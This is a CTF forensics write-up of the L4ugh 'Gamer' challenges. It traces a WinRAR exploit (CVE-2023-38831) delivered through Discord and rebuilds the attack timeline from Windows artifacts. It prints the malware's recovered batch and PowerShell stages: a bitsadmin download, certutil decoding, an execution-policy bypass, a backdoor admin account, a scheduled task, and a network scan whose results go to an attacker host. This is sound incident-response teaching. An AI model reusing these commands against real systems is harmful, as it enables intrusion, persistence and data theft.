On the 9th of February 2024 took place the L4ugh CTF, and I had a look at one of their series of DFIR challenges: Gamer.
The scenario was quite simple: someone has downloaded a forbidden application on their work computer, and that led to a compromission. The questions were split into five challenges, and took us on a trip around Windows forensics technics.
Challenge 1: Delivery
A first glance at the files
Let's have a look at the challenge's material: a 865MiO 7zip archive which appears to contain the root of a Windows system.
Going through an entire system by hand can be tedious, so we better equip ourselves with some tooling. I went with Autopsy. It is also always easier to work with Windows files in a Windows environment, so let's extract the archive into a Windows 11 VM. We can then create a new case in Autopsy, and add the directory as a Logical Files data source. We don't include any time stamps as we aren't sure what we can trust from the archive and didn't preserve time when extracting anyway.
We can enable all ingest modules, except maybe for the Android and iOS ones, and go prepare ourselves a coffee while Autopsy does its magic.
Once done, we can have a look in Web Downloads section for the unauthorized app, and we find the Discord installer in there.
That seems to be a good match for an app to play and chat with gamer friends, so let's investigate its files.
Since the user is named Administrator
, they are stored in C:\Users\Administrator\AppData\Discord
,
and we can find the version straight away: 1.0.9028
.
Accessing the Discord cache
Now, it would be great if we could get some data from Discord.
One way to do that would be to get access to the entire account,
and we have the files,
so we can just install Discord on our VM and copy over the discord
directory from the challenge.
If the session was still valid, we could open Discord and be connected to the account.
Unfortunately for us, that's not the case.
It looks like we will have to fall back to reading Discord's cache files. Unfortunately, Autopsy does not have support for Discord, so it did not parse it automatically. There is at least one Autopsy add-on that claims to extract artifacts from Discord, but it did not work. Looking at the code, it doesn't seem to be doing much except trying to parse JSON-encoded Discord messages stored in gziped files. That's far from parsing the Discord cache.
Maybe there is a decent free tool that can parse the Discord cache, but I didn't want to waste more time looking for one and decided to play a quick, dirty trick. Discord is built using Electron, which means is uses Chromium technologies, including its cache system. And Autopsy knows how to parse that cache, but only attempts to do so at a few select locations for Browsers it knows.
So let's trick it.
I simply copied the Discord cache from C:\Users\Administrator\AppData\Roaming\discord\Cache
to Chrome's in
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cache
,
and ran the recent activity ingest module again (Tools -> Run ingest modules).
It has the side effect of duplicating some of our data artifacts,
but now Discord's cache entries show up in the Web Cache section, and one of them looks interesting.
Cached messages? Sounds relevant, so let's extract that cache entry (Right-click -> View Cache File in Directory -> Extract Files). The file is not readable straight away. This is because of the cache storing the literal HTTP response and not application data, and we can see from the HTTP headers in Autopsy that it is compressed with Brotli. I was surprised to see that CyberChef did not have support for Brotli, but other services do. I used one from facia.dev.
At this point, we have a messages.json
file,
and we can read a conversation that goes something like the following (only showing the interesting part):
a1l4m
: looks like the new year gonna be a lot of funt4r3kk
: So, as we are all heret4r3kk
: need a hand here. Steam just went all rogue and trashed my appmanifest file, the one with the name "appmanifest_547896.acf" You feel me? Now, I'm stuck in a no-game zone. Any way you can bail me out?4n4n1
: What do you mean deleted your file ?4n4n1
: Can u show me what is this file look like ?t4r3kk
: idk what happened exactly tbht4r3kk
: lemme show u a sample of it waitt4r3kk
: attachement,appmanifest.rar
t4r3kk
: wasn't able to upload the file directly, so i compressed for u4n4n1
: gonna check it when i get the timet4r3kk
: Appreciate it legend ❤️
One specific message with an attachement stands out (warning: malware ahead):
{
"attachments" : [
{
"content_scan_version" : 0,
"content_type" : "application/vnd.rar",
"filename" : "appmanifest.rar",
"id" : "1193337330283585647",
"proxy_url" : "https://media.discordapp.net/attachments/1193319813251080366/1193337330283585647/appmanifest.rar?ex=65ac58fe&is=6599e3fe&hm=b8a7f9403716ae7cb56d2daadfc98fc2fc0cbfeec3c0ef7ffb82faba1aa3c33e&",
"size" : 2586,
"url" : "https://cdn.discordapp.com/attachments/1193319813251080366/1193337330283585647/appmanifest.rar?ex=65ac58fe&is=6599e3fe&hm=b8a7f9403716ae7cb56d2daadfc98fc2fc0cbfeec3c0ef7ffb82faba1aa3c33e&"
}
],
"author" : {
"accent_color" : null,
"avatar" : "e8be11c5ad1cac6d3ffc85f6b72a4ace",
"avatar_decoration_data" : null,
"banner" : null,
"banner_color" : null,
"discriminator" : "0",
"flags" : 0,
"global_name" : "dark",
"id" : "964399437671710790",
"premium_type" : 0,
"public_flags" : 0,
"username" : "t4r3kk"
},
"channel_id" : "1193319813251080366",
"components" : [],
"content" : "",
"edited_timestamp" : null,
"embeds" : [],
"flags" : 0,
"id" : "1193337330455560204",
"mention_everyone" : false,
"mention_roles" : [],
"mentions" : [],
"pinned" : false,
"timestamp" : "2024-01-06T23:36:30.716000+00:00",
"tts" : false,
"type" : 0
}
It looks like we found our initial malware delivery, so let's investigate our threat actor a bit (t4r3kk).
We can use services like discord.id to lookup details about the account from its ID (964399437671710790
).
Doing a reverse image search on the profile picture takes us to the FBI's website where we get a name for the threat actor: Igor Dekhtyarchuk.
At this point, we can answer the first challenge:
- Can you identify the application utilized for the initial access and its version? -> Discord 1.0.9028
- What is the attacker's ID and their account creation date?
->
964399437671710790
, Fri, 15 Apr 2022 05:39:03 UTC - What is the full real name of the attacker? -> Igor Dekhtyarchuk
And here is the flag: 0xL4ugh{Discord_1.0.9028_964399437671710790_15-04-2022_05:39:03_IgorDekhtyarchuk}
Understanding the exploit
Getting the first stage
At this point, I stopped looking into specific challenge questions to focus on understanding the exploit, and I won't be solving them in order.
Discord attachements basically just work as a CDN, so we can download the appmanifest.rar
from the URL in the message (careful, it is malware).
It looks weird when opened in both the Windows file explorer and 7zip, as a directory and a file appear to have the exact same name.
Copying the file over to a Linux VM, Ark isn't fooled and reveals a .cmd
extension.
Trying to read the script, it auto-detects the encoding as UTF-16, which is completely unreadable. I did try a few other encodings which began to reveal a Batch script using substring operations for obfuscation. The encoding that I found to work the best was Windows-1256.
I also had to extract the file with Ark on Linux, as Windows was apparently unable to do so.
Now, I hate fighting with encodings, and I have no idea how to handle right-to-left languages like Arabic programmatically, so I decided to go the dynamic analysis way for now.
Let's run the script! (Don't do this at home!)
This already gives us some idea of what happened. As you can see in the video, I also had Process Monitor opened to record events, but that did tell much more than what follows in the end:
REM "No worries mate. You just got hacked"
mkdir C:\T3MP
cd C:\T3MP
bitsadmin /transfer Nothing /download /priority normal http://172.17.121.9:8080/ProfilePicture.jpg C:\T3MP\ProfilePicture.jpg
Ok, so the script apparently nags us with a batch comment, then creates a directory at C:\T3MP
and tries to download a file there.
It fails at that point because the address it is trying to download the file from, http://172.16.121.9:8080
is not available (this is a reserved LAN address).
Let's make it available then.
The idea here is to assign that address to a machine that will be reachable to the VM (that could even be the VM itself).
This is pretty specific to your virtualization setup, so I won't go over the details,
but this is what I did on a Linux VM, with the right routing setup:
sudo ip a add dev eth0 172.16.121.9/32
mkdir http
cd http
touch ProfilePicture.jpg
python -m http.server 8080
Alright, the VM should now be able to download that empty file. Let's try again after removing that C:\T3MP
directory.
We get to see a bit more of the attack:
REM "No worries mate. You just got hacked"
mkdir C:\T3MP
cd C:\T3MP
bitsadmin /transfer Nothing /download /priority normal http://172.17.121.9:8080/ProfilePicture.jpg C:\T3MP\ProfilePicture.jpg
certutil -decode ProfilePicture.jpg normal.zip 1>null
echo Get-ChildItem -Path "C:\T3MP" -Filter *.zip | Expand-Archive -DestinationPath "C:\T3MP" -Force 1>C:\T3MP\z.ps1
cmd /c "powershell -NOP -EP Bypass C:\T3MP\z.ps1"
net user admin
IF 2 NEQ 0 (echo LOL, I win ) ELSE (
REM Remove LOL
net user admin /active:no
net localgroup administrators admin /del
)
LOL, I win
REM Hack The Planet
net user /add 7amoksha
net user 7amoksha *
net localgroup administrator 7amoksha /add
schtasks /create /sc minute /mo 1 /tn "NothingSpecial" /tr C:\T3MP\run.bat /RL HIGHEST
REM "If I win, you become my slave."
del z.ps1
del ProfilePicture.jpg
del normal.zip
del C:\Windows\system32\Tasks\NothingSpecial
Let's break it down a bit:
- The
C:\T3MP
folder is created and used as the working directory. - Bitsadmin is used to download
ProfilePicture.jpg
. - certutil is used to decode that file as base64 (a classic LOLBIN technic), in a new
normal.zip
file. normal.zip
is extracted asz.ps1
PowerShell scriptz.ps1
is executed, with no execution policy- The script checks if an
admin
user exists, and removes it from the administrator group and deactivates it if it does. - It adds an
7amoksha
user, sets its password and adds it to theadministrators
group. - It creates a scheduled task named
NothingSpecial
to run every minute, executingC:\T3MP\run.bat
with the highest privilege level possible. - Cleans-up by removing files
We have enough information to answer the fourth challenge at this point:
Scheduled task name: NothingSpecial
Command: C:\T3MP\run.bat
And there is the flag: 0xL4ugh{NothingSpecial_C:\T3MP\run.bat}
Looking for the second stage
Let's see if we can find more information on the second stage: ProfilePicture.jpg
.
We can look for it in Autopsy.
The file itself doesn't show up as it was deleted, but its name appears in interesting places:
- A Windows event log (
Microsoft-Windows-Bits-Client%4Operational.evtx
) - The USN journal (
$LogFile
and$J
). We will come back to it later.
Let's look at the event log. We can simply export it from Autopsy and open it with the Windows event viewer.
This gives us some insight on the original file and its download location, including its size.
Looking for remaining artifacts
Let's actually have a look at C:\T3MP
. It has two files, run.bat
and run.ps1
.
run.bat
is just as obfuscated as the original cmd file, so we will just ignore it for now.
run.ps1
is obfuscated as well, but a lot more manageable.
It decodes a base64 string, decompresses it and executes it. We can copy the base64 string over to CyberChef and decode it.
$startIP = "192.168.1.1"
$endIP = "192.168.1.17"
$outputFile = "C:\Users\Administrator\AppData\Local\Temp\A52148.txt"
$start = [System.Net.IPAddress]::Parse($startIP).GetAddressBytes()[3]
$end = [System.Net.IPAddress]::Parse($endIP).GetAddressBytes()[3]
for ($current = $start; $current -le $end; $current++) {
$currentIP = "$($startIP.Substring(0, $startIP.LastIndexOf('.') + 1))$current"
$result = Test-Connection -ComputerName $currentIP -Count 1 -ErrorAction SilentlyContinue
if ($result -ne $null) {
Write-Host "Host $currentIP is online."
"Host $currentIP is online." | Out-File -Append -FilePath $outputFile
} else {
Write-Host "Host $currentIP is offline."
"Host $currentIP is offline." | Out-File -Append -FilePath $outputFile
}
}
Write-Host "Scan results saved to $outputFile"
$var = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Administrator\AppData\Local\Temp\A52148.txt'))
Invoke-WebRequest -Uri "http://172.17.121.9:8080/$var" -Method GET
That scans the network from 192.168.1.1
to 192.168.1.17
, saves the result to C:\Users\Administrator\AppData\Local\Temp\A52148.txt
and sends it over to http://172.17.121.9:8080
.
A52148.txt
is still there, so let's have a look:
Host 192.168.1.1 is online.
Host 192.168.1.2 is online.
Host 192.168.1.3 is offline.
Host 192.168.1.4 is online.
Host 192.168.1.5 is offline.
Host 192.168.1.6 is offline.
Host 192.168.1.7 is offline.
Host 192.168.1.8 is offline.
Host 192.168.1.9 is offline.
Host 192.168.1.10 is offline.
Host 192.168.1.11 is offline.
Host 192.168.1.12 is offline.
Host 192.168.1.13 is offline.
Host 192.168.1.14 is offline.
Host 192.168.1.15 is offline.
Host 192.168.1.16 is offline.
Host 192.168.1.17 is offline.
Host 192.168.1.1 is online.
Host 192.168.1.2 is online.
Host 192.168.1.3 is offline.
Host 192.168.1.4 is online.
Host 192.168.1.5 is offline.
Host 192.168.1.6 is offline.
Host 192.168.1.7 is offline.
Host 192.168.1.8 is offline.
Host 192.168.1.9 is offline.
Host 192.168.1.10 is offline.
Host 192.168.1.11 is offline.
Host 192.168.1.12 is offline.
Host 192.168.1.13 is offline.
It repeats itself because of the scheduled task, but three hosts were up: 192.168.1.1
, 192.168.1.2
and 192.168.1.4
.
All we are missing to answer the fifth challenge now is the backdoor account's creation date, so we might as well check it out. With Autopsy, it's as simple as going to the OS Accounts section.
Q1 -The attacker scanned a range of IPs, storing the results in a file for exfiltration. What's the full path of the output file, the count of active hosts, and the IP & Port used for exfiltration?
Q2- The attacker established a new account for persistence. Can you disclose the name of the new account and its creation date, please?
- Output file:
C:\Users\Administrator\AppData\Local\Temp\A52148.txt
- Online hosts: 3
- Exfiltration address and post:
172.17.121.9:8080
- New account name:
7amoksha
- New account creation date: 2024-01-07 10:16:20 CET (we need to convert it to UTC)
And one more flag: 0xL4ugh{C:\Users\Administrator\AppData\Local\Temp\A52148.txt_6_172.17.121.9:8080_7amoksha_07-01-2024_09:16:20}
Three done, two to go.
Building the event timeline
The USN journal
The USN journal stores records of the changes happening on NTFS file systems.
It can be a very precious source of information.
It is present in the challenge, but it looks like Autopsy failed to parse it.
That's probably because it only supports NTFS disks images to do so, but I might be wrong.
Anyway, we will have to rely on another tool.
Eric Zimmerman's tools are a goldmine for Windows forensics,
and one of them supports parsing the journal: MFTECmd
.
.\MftCmd\MFTECmd.exe -f '.\Image\C\$Extend\$J' -m '.\Image\C\$MFT' --csv usn.csv
And we get an exhaustive report of the changes to the file system.
Looking for the string T3MP
reveals a few interesting entries.
T3MP,,539,3,5,5,.,38960440,2024-01-07 09:15:57.8337716,FileCreate,Directory,30571832,.\Image\C\$Extend\$J
T3MP,,539,3,5,5,.,38960512,2024-01-07 09:15:57.8337716,FileCreate|Close,Directory,30571904,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38961888,2024-01-07 09:15:58.2386777,FileCreate,Archive,30573280,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38961976,2024-01-07 09:15:58.2386777,FileCreate|Close,Archive,30573368,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38962064,2024-01-07 09:15:58.2386777,DataTruncation,Hidden|Archive,30573456,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38962152,2024-01-07 09:15:58.2416817,DataTruncation|Close,Hidden|Archive,30573544,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38968832,2024-01-07 09:16:01.0886221,DataTruncation,Hidden|Archive,30580224,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38968920,2024-01-07 09:16:01.0886221,DataExtend|DataTruncation,Hidden|Archive,30580312,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38975528,2024-01-07 09:16:04.3017884,DataExtend|DataTruncation|Close,Hidden|Archive,30586920,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38975616,2024-01-07 09:16:04.3017884,FileDelete|Close,Hidden|Archive,30587008,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38975968,2024-01-07 09:16:04.6026951,FileCreate,Hidden|Archive,30587360,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38976056,2024-01-07 09:16:04.6026951,DataExtend|FileCreate,Hidden|Archive,30587448,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981384,2024-01-07 09:16:14.4560934,DataOverwrite|DataExtend|FileCreate,Hidden|Archive,30592776,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981472,2024-01-07 09:16:15.3430587,DataOverwrite|DataExtend|FileCreate|BasicInfoChange,Hidden,30592864,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981632,2024-01-07 09:16:15.3440889,DataOverwrite|DataExtend|FileCreate|BasicInfoChange|Close,Hidden|Archive,30593024,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981720,2024-01-07 09:16:15.3931098,BasicInfoChange,Normal,30593112,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981808,2024-01-07 09:16:15.3931098,BasicInfoChange|Close,Normal,30593200,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981896,2024-01-07 09:16:15.3931098,RenameOldName,Normal,30593288,.\Image\C\$Extend\$J
ProfilePicture.jpg,.jpg,105697,1,539,3,.\T3MP,38981984,2024-01-07 09:16:15.3931098,RenameNewName,Normal,30593376,.\Image\C\$Extend\$J
ProfilePicture.jpg,.jpg,105697,1,539,3,.\T3MP,38982080,2024-01-07 09:16:15.3931098,RenameNewName|Close,Archive,30593472,.\Image\C\$Extend\$J
normal.zip,.zip,105706,1,539,3,.\T3MP,38982176,2024-01-07 09:16:15.9527538,FileCreate,Archive,30593568,.\Image\C\$Extend\$J
normal.zip,.zip,105706,1,539,3,.\T3MP,38982256,2024-01-07 09:16:15.9527538,DataExtend|FileCreate,Archive,30593648,.\Image\C\$Extend\$J
normal.zip,.zip,105706,1,539,3,.\T3MP,38982336,2024-01-07 09:16:15.9527538,DataExtend|FileCreate|Close,Archive,30593728,.\Image\C\$Extend\$J
z.ps1,.ps1,105707,1,539,3,.\T3MP,38982416,2024-01-07 09:16:15.9667995,FileCreate,Archive,30593808,.\Image\C\$Extend\$J
z.ps1,.ps1,105707,1,539,3,.\T3MP,38982488,2024-01-07 09:16:15.9667995,DataExtend|FileCreate,Archive,30593880,.\Image\C\$Extend\$J
z.ps1,.ps1,105707,1,539,3,.\T3MP,38982560,2024-01-07 09:16:15.9667995,DataExtend|FileCreate|Close,Archive,30593952,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986568,2024-01-07 09:16:20.0537538,FileCreate,Archive,30597960,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986648,2024-01-07 09:16:20.0917600,DataExtend|FileCreate,Archive,30598040,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986728,2024-01-07 09:16:20.0917600,DataExtend|FileCreate|Close,Archive,30598120,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986808,2024-01-07 09:16:20.0929822,BasicInfoChange,Archive,30598200,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986888,2024-01-07 09:16:20.0929822,BasicInfoChange|Close,Archive,30598280,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38986968,2024-01-07 09:16:20.1747104,FileCreate,Archive,30598360,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38987048,2024-01-07 09:16:20.1747104,DataExtend|FileCreate,Archive,30598440,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38987128,2024-01-07 09:16:20.1747104,DataExtend|FileCreate|Close,Archive,30598520,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38987208,2024-01-07 09:16:20.1747104,BasicInfoChange,Archive,30598600,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38987288,2024-01-07 09:16:20.1747104,BasicInfoChange|Close,Archive,30598680,.\Image\C\$Extend\$J
z.ps1,.ps1,105707,1,539,3,.\T3MP,38991616,2024-01-07 09:16:23.8102308,FileDelete|Close,Archive,30603008,.\Image\C\$Extend\$J
ProfilePicture.jpg,.jpg,105697,1,539,3,.\T3MP,38992024,2024-01-07 09:16:23.8229574,FileDelete|Close,Archive,30603416,.\Image\C\$Extend\$J
normal.zip,.zip,105706,1,539,3,.\T3MP,38992120,2024-01-07 09:16:23.8378425,FileDelete|Close,Archive,30603512,.\Image\C\$Extend\$J
We get some new information:
- Exact creation/modification/deletion timestamps for the files.
- A new file:
BITEF47.tmp
. This was used by BitClient as a temporary file to store the content ofProfilePicture.jpg
. run.bat
andrun.ps1
are created at the same time, a few seconds afterz.ps1
. It probably drops them.
That would already be enough to answer the two remaining questions. But since I initially disagreed with the challenge author on the details, let's make sure we are right and look at the remaining artifacts before answering the second challenge.
As for the third one, here are the answers:
Q1- The intruder downloaded a malicious file. Provide the complete URL of the file along with its size in bytes. (URL_Bytes)
Q2- In the sequence of events, the attacker changed the name of the downloaded file. What is the new name? Afterward, the file was removed. Can you provide the timestamp when it was deleted?
- Download URL:
http://172.17.121.9:8080/ProfilePicture.jpg
- File size: 2924 (from the event log)
- New name:
normal.zip
- Deletion timestamp:
2024-01-07 09:16:23.8378425
(from the USN journal)
And the flag: 0xL4ugh{http://172.17.121.9:8080/ProfilePicture.jpg_2924_normal.zip_07-01-2024_09:16:23}
Prefetch files
Windows creates prefetch files when a program starts to cache some information and optimize later runs. They can give us some indication as to when programs ran. Luckily for us, Autopsy had no problem parsing them, so we can simply have a look at its timeline window.
As we are there, we can also notice other interesting events such as Chrome visiting the rar
file's download link.
We also see that winrar was used to open something just after that, probably the archive.
The CVE
The second challenge asks us what CVE was used. It doesn't appear that the script used any CVE (It ran fine on my fully-patched VM), but maybe one is used to trigger it. The archive looked funky after all. Since we saw indicators that the archive was opened with WinRar, let's look for CVEs affecting it.
We find CVE-2023-38831, which has a dedicated a metasploit module, and the archives in an analysis paper by IBM looks familiar.
Looks like we got it.
Timeline breakdown
Using all the information above, we can construct the following precise timeline of the attack:
Timestamp (UTC) | Source | Event |
---|---|---|
2024-01-06 23:36:30.716 | Discord cache | Malicious attachment is sent |
2024-01-07 09:15:29 | Chrome history | Malicious attachment URL is visited |
2024-01-07 09:15:37.3547610 | USN journal | Chrome starts downloading the attachment |
2024-01-07 09:15:37.4779887 | USN journal | Download is over, file is renamed to appmanifest (1).rar |
2024-01-07 09:15:39 | Prefetch file | OPENWITH.exe starts, a open file with pop-up is shown |
2024-01-07 09:15:52 | Prefetch file | WinRAR opens |
2024-01-07 09:15:57 | Prefetch file | CONHOST.EXE starts, indicating a command window has opened |
2024-01-07 09:15:57 | Prefetch file | CMD.EXE starts, presumably running appmanifest_547896.acf .cmd |
2024-01-07 09:15:57.8337716 | USN journal | C:\T3MP directory is created |
2024-01-07 09:15:58.2386777 | USN journal, Prefetch file | Bitsadmin.exe starts saving ProfilePicture.jpg as BITEF47.tmp |
2024-01-07 09:16:15.3931098 | USN journal | Download is over, BITEF47.tmp is renamed to ProfilePicture.jpg |
2024-01-07 09:16:15.9527538 | USN journal, Prefetch file | Certutil.exe is used to decode normal.zip from ProfilePicture.jpg |
2024-01-07 09:16:15.9667995 | USN journal | z.ps1 is extracted from normal.zip |
2024-01-07 09:16:16 | Prefetch file | z.ps1 is executed |
2024-01-07 09:16:20.0537538 | USN journal | run.bat is created |
2024-01-07 09:16:20.1747104 | USN journal | run.ps1 is created |
2024-01-07 09:16:20 | Prefetch file | net.exe : script checks for user admin |
2024-01-07 09:16:20 | Prefetch file | net1.exe : script creates user 7amoksha |
2024-01-07 09:16:23 | Prefetch file | net.exe : script set password of user 7amoksha |
2024-01-07 09:16:23 | Prefetch file | net1.exe : script adds user 7amoksha to admin group |
2024-01-07 09:16:23 | Prefetch file | schtasks.exe : scheduled task is created |
2024-01-07 09:16:23.8102308 | USN journal | z.ps1 is deleted |
2024-01-07 09:16:23.8229574 | USN journal | ProfilePicture.jpg is deleted |
2024-01-07 09:16:23.8378425 | USN journal | normal.zip is deleted |
2024-01-07 09:17:09.6968773 | USN journal | A52148.txt is created scan begins |
2024-01-07 09:17:14.0447484 | USN journal | A52148.txt is closed, scan is done |
So, now we can answer the questions of the second challenge:
Q1 - Could you share the SHA256 hash of the harmful file and tell me how much time passed between receiving it initially and running the associated script?
Q2 - What is the CVE number that the attacker took advantage of?
- SHA256 of
appmanifest.rar
:e29f365335adeea575ae1e592bd50313c38bd89bf9ff6b7f7f06e6377b0661c3
- Message timestamp:
2024-01-06 23:36:30.716
- Execution timestamp:
2024-01-07 09:15:57
- CVE:
CVE-2023-38831
Now, I won't give you the flag because I did not get it. Apparently the intended execution time was 09:16:15
.
There is a prefetch entry for cmd.exe
at that time, and it is in the same file as the one that gives 09:15:57
,
but considering the details of the analysis above, I'm pretty sure 09:15:57
was the right time and there was a mistake in the challenge.
My best guess for 09:16:15
is the explicit invocation of cmd.exe
by the appmanifest script to run z.ps1
without restrictions: cmd /c "powershell -NOP -EP Bypass C:\T3MP\z.ps1"
.
Edit: after talking to CTF admins, it appears I was right, there was an error in the flag.
Wrapping up
I'm a bit disappointed for not getting the points of the second challenge, but my team wasn't really playing for points this time anyway and the challenges remained fun. It's not that often that I get to do this type of Windows Forensics in CTFs.